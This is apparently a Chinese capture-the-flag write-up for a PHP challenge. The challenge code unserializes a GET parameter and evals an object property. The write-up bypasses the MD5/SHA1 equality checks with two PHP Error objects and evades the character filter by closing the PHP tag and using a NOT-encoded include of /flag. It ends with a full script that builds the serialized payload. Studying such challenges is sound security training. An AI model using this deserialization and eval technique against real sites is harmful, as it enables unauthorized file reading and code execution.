前言
关键字:[error类|MD5绕过|eval执行]
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
题解
在类里,无法用数组进行md5绕过,所以用Error类绕过md5和sha1检测
测试
<?php
$a = new Error("payload", 1);$b = new Error("payload", 2);//注意这里需要写在一行上
echo $a;
echo "<br>";
echo $b;
echo "<br>";
if ($a != $b) {
echo "a!=b";
}
echo "<br>";
if (md5($a) === md5($b)) {
echo "md5相等" . "<br>";
}
if (sha1($a) === sha1($b)) {
echo "sha1相等";
}
由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接include "/flag"
将flag包含进来即可;由于过滤了引号,于是在这里进行取反,这样解码后就自动是字符串,无需再加双引号或单引号。
而且eval执行带有完整标签的语句需要先闭合,就类似于将字符串当成代码写入到源码中。
<?php
$s = '?><?php echo 123;?>';
eval($s);
//OUTPUT:123
于是,payload如下:
<?php
class SYCLOVER
{
public $syc;
public $lover;
public function __wakeup()
{
if (($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover))) {
if (!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)) {
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$cmd = '/flag';
$s = urlencode(~$cmd);
$str = "?><?=include~" . urldecode($s) . "?>";
$a = new Error($str, 1);$b = new Error($str, 2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>